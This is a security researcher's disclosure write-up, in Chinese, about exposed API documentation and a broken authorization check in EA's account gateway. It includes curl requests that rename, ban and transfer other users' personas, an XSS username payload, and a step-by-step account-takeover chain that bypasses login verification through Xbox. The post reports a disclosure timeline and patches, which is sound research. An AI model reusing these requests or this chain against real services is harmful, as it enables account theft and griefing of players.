这个故事始于我对EA的一个开发环境"integration"进行测试时的发现。我之前在研究EA Desktop时偶然发现了这个环境。

加载了'integration'环境的EA Desktop界面。

EA的正式环境认证API部署在accounts.ea.com上,而集成环境的认证主机是accounts.int.ea.com。我找到了一种在这个环境中获取特权访问令牌的方法(这是另一个故事了,某个游戏的可执行文件里硬编码了凭证!),但我还不确定能用它做什么。

认证文档#

我开始扫描寻找是否有暴露的API文档。认证端点明显运行着一个反向代理,因为/connect路径返回JSON格式的404错误,而其他路径则返回HTML格式的404页面,同时响应头中的server字段设置为istio-envoy,这是一个"微服务网格代理"。

accounts.ea.com的404页面。

我开始寻找可能的文档端点:

❌ /docs
❌ /swagger
❌ /swagger-ui
❌ /swagger-ui/index.html
❌ /api-docs
❌ /connect/docs
❌ /connect/swagger
❌ /connect/swagger-ui
❌ /connect/swagger-ui/index.html
❔ /connect/api-docs

这里出现了一些有趣的情况。到目前为止,所有的/端点都返回404页面,所有的/connect端点都返回某种404 JSON,但是/connect/api-docs返回了一个没有数据的404。

$ curl -D - https://accounts.int.ea.com/connect
HTTP/1.1 404 Not Found
x-nexus-sequence: <已隐藏>
x-nexus-hostname: intaccounts-<已隐藏>
content-type: application/json;charset=UTF-8
server: istio-envoy
x-envoy-upstream-service-time: 1
x-envoy-hostname: ip-10-141-1-59.ec2.internal

{"error":"404 Not Found","error_description":"No handler found for GET /connect","error_code":null,"code":107018}

$ curl -D - https://accounts.int.ea.com/connect/api-docs
HTTP/1.1 404 Not Found
x-nexus-sequence: <已隐藏>
x-nexus-hostname: intaccounts-<已隐藏>
content-length: 0
server: istio-envoy
x-envoy-upstream-service-time: 1
x-envoy-hostname: ip-10-141-2-91.ec2.internal

我意识到/connect/api-docs路径一定是指向了一个与其他/connect路径不同的服务,于是我开始在这个路径下继续探索。

❌ /connect/api-docs/swagger
❌ /connect/api-docs/swagger-ui
❌ /connect/api-docs/index.html
✅ /connect/api-docs/index.json

成功了!返回了一个swagger JSON文件。

$ curl -D - https://accounts.int.ea.com/connect/api-docs/index.json
HTTP/1.1 200 OK
x-nexus-sequence: <已隐藏>
x-nexus-hostname: intaccounts-<已隐藏>
content-type: application/json;charset=ISO-8859-1
content-length: 216
...

{
    "swaggerVersion": "1.1",
    "apiVersion":  "1.0",
    "basePath": "https://accounts.int.ea.com:443/connect",
    "apis": [{
        "path": "/api-docs/connect",
        "description": "Nexus Connect"
    }]
}

这个响应引用了另一个端点/api-docs/connect,访问后获得了完整的Nexus Connect API的swagger实现。

由于swagger文件版本比较老(1.1版本),我不得不运行swagger-codegen-cli程序将其更新为OpenAPI 3.0规范。然后我启动了一个本地swagger UI服务器,瞧!

Nexus Connect API文档。

我之前就知道/auth和/tokeninfo这两个端点,但从未听说过其他这些端点。我还发现/auth端点支持比我之前知道的更多的参数。

其他端点虽然有趣,但看起来并不太令人兴奋。不过,既然我知道了Nexus API有文档,我就把注意力转向了其他一些服务。

继续探索#

EA Desktop使用一个名为"Service Aggregation Layer"(服务聚合层)的GraphQL API,顾名思义,它可能是将多个后端服务聚合成一个统一的API。不幸的是,api-docs端点似乎只在认证API的集成环境上有效,而该环境的SAL版本被防火墙屏蔽了。

然后我尝试了一下我认为是SAL的某种老版本 - "gateway"。以前我用过gateway.ea.com上的一些端点做用户搜索之类的事情。

gateway上所有端点的格式似乎都是proxy/{service}/{route},所以和认证API一样,我请求了gateway.int.ea.com/proxy/api-docs/index.json,得到了以下响应:

{
    "swaggerVersion": "1.1",
    "apiVersion":  "2.0", 
    "basePath": "https://gateway.int.ea.com:443/proxy",
    "apis": [
        {
            "path": "/api-docs/addresses",
            "description": "Identity 2.0"
        },
        {
            "path": "/api-docs/agerequirements", 
            "description": "Identity 2.0"
        },
        {
            "path": "/api-docs/billing",
            "description": "Billing 2.0" 
        },
        {
            "path": "/api-docs/clientmigrationrecord",
            "description": "Identity 2.0"
        },
        {
            "path": "/api-docs/commerce",
            "description": "Commerce 2.0"
        },
        ... 还有79个
    ]
}

gateway的功能远比我之前想象的要多得多。我以前只用它搜索过玩家,只知道几个端点。没想到它居然有80多个服务。

重大发现#

我请求了所有列出的端点,将所有文件转换为现代OpenAPI规范,然后查看了所有内容。其中有一些非常有趣的东西,比如一个"项目"列表。这个需要basic.domaindata授权范围才能访问,经过一番挖掘,我在正式环境中找到了一个具有该权限的客户端。

这个列表展示了EA各个游戏团队的一些数据。其中有一些有趣的内容,比如已取消的星球大战游戏,以及Apex英雄被称为泰坦陨落3:

{
    "name": "EAP",
    "description": "EA Partners",
    "groups": {
        "groupNames": [
            ...,
            "TF3_ALL",
            "Titanfall3",
            "Titanfall3PC",
            "Titanfall3PS4",
            "Titanfall3XONE",
            ...
        ]
    }
}

继续深入,文档解释了如何在集成环境中给自己添加自定义游戏权限:

{
    "entitlementSource": "111000",
    "entitlementTag": "PENTEST",
    "entitlementType": "DEFAULT",
    ...
}

遗憾的是这基本没什么用,因为下载和玩游戏所需的集成服务被防火墙屏蔽了,不过看到这些还是很有意思。

有一个端点会返回"Xbox Live服务器令牌"。这是一个Microsoft XSTS令牌,但显然是用于服务器端签名之类的用途:

{
  "xblToken": {
    "proofKey": "{"alg":"ES256","kty":"EC","use":"sig","crv":"P-256","x":"<已隐藏>","y":"<已隐藏>"}",
    "authToken": "XBL3.0 X=-;eyJlbmM-----<已隐藏>-----",
    "expiresIn": 38415,
    "sandboxId": "EARW.1",
    "privateKey": "<已隐藏>"
  }
}

我本想深入研究一下,但由于sandbox ID不是RETAIL,所以也没什么用。

正式环境测试#

文档中的每个端点都列出了可以访问它的授权范围,所以在广泛浏览了所有看起来有趣的端点后,我开始专注于那些我知道可以用正式环境oauth客户端访问的端点。

首先是/identity/pids/me,它似乎返回了大量的常规账户信息:

$ curl 
  -H 'Authorization: Bearer <已隐藏>' 
  -H 'X-Extended-Pids: true' 
  -D - https://gateway.ea.com/proxy/identity/pids/me
HTTP/1.1 200 OK
Content-Type: application/json;charset=utf-8
Content-Length: 1013
x-nexus-sequence: <已隐藏>
x-nexus-hostname: prdgateway-<已隐藏>
x-sequence: <已隐藏>
server: istio-envoy
x-hostname: prdgateway-<已隐藏>
x-bundle: com.ea.nucleus.eaid
x-version: 2.0.0
x-envoy-upstream-service-time: 16

{
  "pid" : {
    "externalRefType" : "NUCLEUS",
    "externalRefValue" : "<已隐藏,与pidId相同>",
    "pidId" : <已隐藏>,
    "email" : "******@gmail.com",
    "emailStatus" : "VERIFIED",
    "strength" : "STRONG",
    "dob" : "<已隐藏>-**-**",
    "age" : <已隐藏>,
    "country" : "US",
    "language" : "en",
    "locale" : "en_US",
    "status" : "ACTIVE",
    "stopProcessStatus" : "OFF",
    "reasonCode" : "",
    "tosVersion" : "1.0",
    "parentalEmail" : "",
    "thirdPartyOptin" : "false",
    "globalOptin" : "false",
    "dateCreated" : "<已隐藏>T0:0Z",
    "dateModified" : "<已隐藏>T0:0Z",
    "lastAuthDate" : "<已隐藏>T0:0Z",
    "registrationSource" : "eadm-origin",
    "authenticationSource" : "196775",
    "showEmail" : "NO_ONE",
    "discoverableEmail" : "NO_ONE",
    "anonymousPid" : "false",
    "underagePid" : "false", 
    "teenToAdultFlag" : false,
    "defaultBillingAddressUri" : "",
    "defaultShippingAddressUri" : "",
    "passwordSignature" : <已隐藏>,
    "tfaEnabled" : true
  }
}

然后是/identity/pids/me/personas,它返回了一个"personas"(角色)列表:

{
  "personas": {
    "persona": [
      {
        "personaId": <已隐藏>,
        "pidId": <已隐藏>,
        "displayName": "BattleDash",
        "name": "battledash",
        "namespaceName": "cem_ea_id",
        "isVisible": true,
        "status": "ACTIVE",
        "statusReasonCode": "NONE",
        "showPersona": "EVERYONE",
        "dateCreated": "<已隐藏>",
        "lastAuthenticated": "<已隐藏>"
      },
      {
        ...,
        "displayName": "BattleDash#<已隐藏>",
        "name": "battledash#<已隐藏>",
        "namespaceName": "steam",
        ...
      },
      {
        ...,
        "displayName": "BattleDash",
        "name": "battledash",
        "namespaceName": "xbox",
        ...
      }
    ]
  }
}

每个链接到你EA账号的平台账号都会得到一个persona,包括EA账号本身(命名空间为cem_ea_id)。游戏通常会在这些persona下存储数据,这样你就可以在不同平台上有不同的数据/库存等。

从现在开始,我会把cem_ea_id命名空间下的persona称为"Origin persona"。

重大发现

经过一番深入研究文档后，我发现了一个有趣的接口：/identity/pids/{pidId}/personas/{personaId}。这个接口支持GET、PUT和DELETE请求。特别引起我注意的是，PUT请求同时接受dp.client.default和dp.server.default这两种权限范围。而普通的EA Desktop认证客户端恰好拥有前者的权限，这意味着我们可以访问这个更新persona的接口。

"更新persona"具体是什么意思？以下是请求体的数据结构：

{
  "displayName": "string",
  "namespaceName": "string",
  "status": "string",
  "statusReasonCode": "string",
  "lastAuthenticated": "string",
  "nickName": "string",
  "pidId": "long",
}

一开始我觉得"嗯，这挺有意思的"。我用自己的PID和Origin persona ID进行了测试，将displayName改成了"BattleDash2"：

$ curl -x PUT 
  -H 'Authorization: Bearer <已隐藏>' 
  -H 'Content-Type: application/json' 
  -d '{"displayName":"BattleDash2"}' 
  -D - https://gateway.ea.com/proxy/identity/pids/<已隐藏>/personas/<已隐藏>
HTTP/1.1 200 OK
Content-Type: application/json;charset=utf-8
Content-Length: 65
...

{
  "personaUri": "/pids/<已隐藏>/personas/<已隐藏>"
}

刷新EA账户网站后，我发现用户名确实变成了BattleDash2。我又试着改回原来的名字，也成功了。这个请求完全绕过了更改用户名的冷却时间和邮箱验证。

我最初的想法是通过修改namespaceName来搞点事情，但可惜的是，无论在这个字段填什么都没有效果。

接着我研究了一下status字段可以填什么值。文档显示可选值包括ACTIVE、DISABLED、PENDING、DELETED和BANNED。这意味着我可能可以封禁或解封自己的账号。

我又发送了一个请求，把自己的Origin persona状态改成了BANNED。一开始没什么变化，EA Desktop也能正常使用，但当我尝试登录游戏时，迎接我的是这样一个画面：

这是把我的persona状态改成'BANNED'后的结果。

我正在思考还能用这个接口做些什么，无聊之中我试着修改了"pidId"字段。我本以为这肯定是被锁定的，最多只能在测试环境用用。但令我震惊的是，当我把朋友的账号ID和我的Steam persona ID填进去后，系统返回了：

$ curl -x PUT 
  -H 'Authorization: Bearer <已隐藏>' 
  -H 'Content-Type: application/json' 
  -d '{"pidId":<朋友ID>}' 
  https://gateway.ea.com/proxy/identity/pids/<我的PID>/personas/<我的Steam_PersonaID>
{
  "personaUri": "/pids/<朋友ID>/personas/<我的Steam_PersonaID>"
}

刷新EA账户页面后，我的Steam账号已经解除了关联。我的Steam账号现在关联到了他的EA账号上。

等等，什么情况？

我又发送了一个请求，把pidId改回我自己的，然后我的Steam账号又重新关联到了我的EA账号上。系统居然允许我把已关联的Steam账号在不同的EA账号之间随意转移。

我很快意识到，既然我可以把自己关联的账号转移到任何EA账号上，那我是不是就能登录那个被关联的账号，从而登录任何EA账号？

我把Steam persona再次转移到朋友的账号上，然后通过Steam在EA网站上登录。然而，我看到了这个提示：

因为是从新地点登录，触发了邮箱验证。

显示的部分邮箱地址不是我的，说明系统确实在尝试让我登录朋友的账号，但被新设备/地点的二次验证给拦住了。我花了不少时间试图绕过这个登录验证，但都没有成功。

感到有些沮丧，我回到persona更新请求，把Steam persona移回我的账号，然后试着把用户名改成BattleDash <script>alert(1)</script>。请求成功了，当我打开账号关联页面时，看到了这个：

一个由用户名更改触发的弹窗。

嗯，这倒是挺有意思的，至少我找到了一个XSS漏洞。如果我知道某人正在登录他们的EA账号，并且能够将他们重定向到关联页面，我就可以在他们的浏览器中运行代码来获取会话信息。

但我不能就此放弃，我离直接登录其他账号就差一步了。一定有办法绕过登录验证。

又一个发现

回到分析阶段，我在测试各种可能性时，决定试试用一个我不拥有的persona ID替换掉/identity/pids/{pidId}/personas/{personaId}中的persona ID。既然请求体中的pidId没有验证，那路径中的personaId是不是也没有验证呢？

我创建了一个新账号来测试，获取了它的persona ID，然后直接尝试在不用它的认证的情况下更改它的用户名：

$ curl -x PUT 
  -H 'Authorization: Bearer <已隐藏>' 
  -H 'Content-Type: application/json' 
  -d '{"displayName":"TestAcc123"}' 
  https://gateway.ea.com/proxy/identity/pids/<我的PID>/personas/<其他PersonaId>
{
  "personaUri": "/pids/<其他PID>/personas/<其他PersonaId>"
}

太棒了，成功了！我刚刚更改了一个完全无关账号的用户名。我又试着把状态改成BANNED，也成功了，那个账号的用户名变了，而且无法登录游戏了。

那么，如果大量的账号数据都存储在persona中，而我又能把其他账号的persona转移到我的账号上，是不是就意味着我可以实际控制任何账号？

好，让我们试试把别人的Origin persona转移到我的账号上。首先，我要如何获取他们的persona ID呢？用户可以选择隐藏他们的账号，这样就无法通过EA Desktop的好友搜索等功能找到他们。

API文档列出了一个/identity/personas接口，它接受一个displayName参数并搜索personas。它会显示他们的persona ID、账号ID，甚至是他们创建账号和最后登录的时间。可惜的是，它不显示已隐藏的账号。

$ curl 
  -H 'Authorization: Bearer <已隐藏>' 
  -H 'X-Expand-Results: true' 
  https://gateway.ea.com/proxy/identity/personas?displayName=BattleDash
{
  "personas" : {
    "persona" : [ {
      "personaId" : <已隐藏>,
      "pidId" : <已隐藏>,
      "displayName" : "BattleDash",
      "name" : "battledash",
      "namespaceName" : "cem_ea_id",
      "isVisible" : true,
      "status" : "ACTIVE",
      "statusReasonCode" : "NONE",
      "showPersona" : "EVERYONE",
      "dateCreated" : "<已隐藏>",
      "lastAuthenticated" : "<已隐藏>"
    } ]
  }
}

经过一番搜索，我发现了/identity/namespaces/{namespace}/personas接口，它的工作原理类似，但是在特定的命名空间中搜索。这个接口只返回用户名和persona ID，不过这就够了，而且这个接口可以返回隐藏的账号。

$ curl 
  -H 'Authorization: Bearer <已隐藏>' 
  https://gateway.ea.com/proxy/identity/namespaces/cem_ea_id/personas?displayName=BattleDash
{
  "personaUri" : [ {
    "value" : "/personas/<已隐藏>", 
    "key" : "BattleDash"
  } ]
}

有了这些信息，让我们试试把别人的persona转移到我的账号：

$ curl -x PUT 
  -H 'Authorization: Bearer <已隐藏>' 
  -H 'Content-Type: application/json' 
  -d '{"pidId":<我的ID>}' 
  https://gateway.ea.com/proxy/identity/pids/<我的PID>/personas/<其他账号的PersonaId>
{
  "error": {
    "failure": [ {
      "cause": "TOO_MANY_PERSONAS_FOR_NAMESPACE",
      "field": "namespaceName"
    } ],
    "code": "VALIDATION_FAILED"
  }
}

啊...我无法把别人的Origin persona转移到我的账号上，因为我已经有一个Origin persona了。那么，我该如何摆脱它呢？

思考了一会儿，我想到通过游戏机注册账号的用户可能只有那个平台的persona，而没有Origin persona。我获取了一个游戏机账号，果然，它没有Origin persona。我把测试账号的Origin persona转移到那个游戏机账号上，然后把"受害者"账号的Origin persona转移到我的账号上。

现在，当我登录时，我拥有了受害者的用户名、非跨平台游戏的游戏数据，以及其他一些账号细节。当受害者登录账号时，系统会提示他们"完成账号设置"并选择一个用户名，就好像刚刚创建了账号一样。

不幸的是，游戏授权、好友列表，以及像《战地2042》这样的新型跨平台游戏的存档数据都存储在EA账号本身，而不是persona中，所以这些数据没有被转移。这仍然是一个非常强大的漏洞：你可以封禁任何人，通过把被封账号的persona转移到新账号来绕过游戏封禁，窃取用户名，甚至勒索账号数据，但这还不是完全访问账号。

第三次尝试成功了

回顾一下，我可以把我关联的账号（personas）转移到任何EA账号上，也可以把任何persona转移到我的账号上。我还可以把任何persona的状态改成BANNED，更改任何persona的用户名，但是在把我的某个persona转移到其他用户账号后尝试登录时，会触发邮箱验证提示。

换个新角度思考，还在想着游戏机账号是如何帮助解决"命名空间过多"错误的，我想到我从来没在游戏机上玩EA游戏时看到过二步验证提示。用Xbox/PSN令牌登录EA账号会绕过二步验证吗？

Nexus Connect API的文档描述了如何向它传递Xbox/PSN令牌，所以我从EA网站的PSN登录流程中获取了EA的PSN客户端ID，获得了一个PSN认证令牌，然后尝试用它登录。

一个ps3命名空间的persona被创建在我的账号上，我可以用PSN令牌登录账号而不需要任何二步验证。现在的想法是把这个PS3 persona转移到受害者账号上，然后用PSN令牌登录：

$ curl -x PUT 
  -H 'Authorization: Bearer <已隐藏>' 
  -H 'Content-Type: application/json' 
  -d '{"pidId":<受害者ID>}' 
  https://gateway.ea.com/proxy/identity/pids/<我的PID>/personas/<ps3PersonaId>
{
  "error" : {
    "failure" : [ {
      "cause" : "INVALID_CLIENT_NAMESPACE",
      "field" : "namespaceName"
    } ],
    "code" : "VALIDATION_FAILED"
  }
}

呃，什么？这里有什么无效的？我甚至没有手动指定namespaceName，只是让它从persona数据中获取。

意外的障碍

经过一些测试，发现除非使用通过PSN令牌获得的认证令牌，否则/pids/me/personas接口不会包含PSN persona。所以认证令牌某种程度上限定了哪些personas会被返回。

我更仔细地查看了认证API文档，通过在/connect/tokeninfo接口添加X-Include-Namespace头部，我发现每个oauth客户端都有一组它可以操作的persona命名空间：

$ curl -H 'X-Include-Namespace: true' 
  https://accounts.ea.com/connect/tokeninfo?access_token=<已隐藏>
{
  "client_id": "JUNO_PC_CLIENT",
  "scope": "... dp.client.default ...",
  ...,
  "persona_namespaces": [
    "cem_ea_id",
    "steam",
    "epic",
    "xbox"
  ],
  ...
}

这就有点棘手了。拥有dp.client.default权限（这是我们更新personas所必需的）的客户端没有ps3命名空间的权限。不过，不知为何它却有Xbox命名空间的权限。可惜的是，我无法手动生成游戏可用的Microsoft XSTS令牌，所以不能用Xbox令牌手动登录。

最后的希望

好吧，我或许还能把我的Xbox persona转移到受害者的账号上，然后在真实的Xbox上登录游戏，这样就能进入他们的账号。对于像《战地2042》这样支持跨平台进度的游戏来说，这将让我能获取他们的游戏数据和库存，尽管我是用自己的Xbox persona在玩。

我创建了一个新的EA账号来测试，让朋友从他们的网络创建了另一个名为SecTestVictim的新账号。我创建了一个名为TestVictim的Microsoft账号，将它关联到我创建的EA账号，把它的Xbox persona转移到受害者账号，并确认通过Xbox账号在EA网站上登录会触发新地点的邮箱验证。

于是，像任何一个理性的人会做的那样，我隔夜快递了一台Xbox，安装了《战地2042》，等待见证真相的那一刻...

我成功了！

在Xbox上以受害者账号身份登录了《战地2042》。

通过在游戏机上登录，我成功绕过了新地点的邮箱验证。

现在，为了确认在Xbox上登录是否让EA"信任"了我的位置，我又尝试通过Xbox账号在EA网站上登录。这次不再显示登录验证界面，直接成功了。

以受害者身份登录了EA网站。

影响

攻击者主要可以通过以下几种方式利用这个漏洞：

• 可以将某人的persona数据从他们的账号中转移出去，窃取他们的用户名和游戏数据
• 通过将自己的Xbox persona转移到目标账号，在Xbox上登录EA游戏，然后通过Xbox账号登录目标账号（因为你的网络已被信任），从而登录他人的账号

此外还可以：

• 封禁他人的personas，这会阻止他们玩大多数在线游戏
• 更改他人的用户名，然后占为己有
• 通过将persona转移到新账号来绕过游戏封禁，因为封禁是通过禁用账号级别的游戏授权来实现的

所有这些操作都不需要用户交互，主要只需要访问一个API接口就能实现。这很好地说明了为什么在设计这样的系统时不能忽视任何细节。

关于CVSS参数可能会有一些争议，但我认为这是一个10.0级的漏洞：AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H。

一些思考

考虑到漏洞的严重性，EA修复的时间确实有点长。他们最初估计要到年底才能完成修复，尽管这只是一个文档暴露和单个不安全接口的简单问题。我理解内部可能比这更复杂，但迅速修补核心问题本应是当务之急。

同样令人失望的是，EA至今还没有启动漏洞赏金计划。在没有实质性的漏洞报告激励机制的情况下，我知道有些人选择了对发现的漏洞保持沉默。我很希望看到EA能跟随业界的脚步。

话虽如此，在过去几年我提交的报告中，他们的合作态度一直都很好。

感谢阅读！如果你对我的其他工作感兴趣，可以看看KYBER。

时间线

• 2024年6月16日 - 向EA报告漏洞
• 2024年6月18日 - EA请求更多关于测试环境的信息
• 2024年6月25日 - EA确认并将漏洞定为严重级别
• 2024年6月28日 - 与EA分享本文的草稿
• 2024年7月8日 - 补丁1部署（Persona所有权检查）
• 2024年7月18日 - 补丁2部署（未知）
• 2024年9月6日 - 补丁3部署（未知）
• 2024年9月10日 - 补丁4部署（文档移除）
• 2024年10月8日 - 补丁5部署（未知）

在最初测试中被我用来测试的朋友已经同意了这些操作。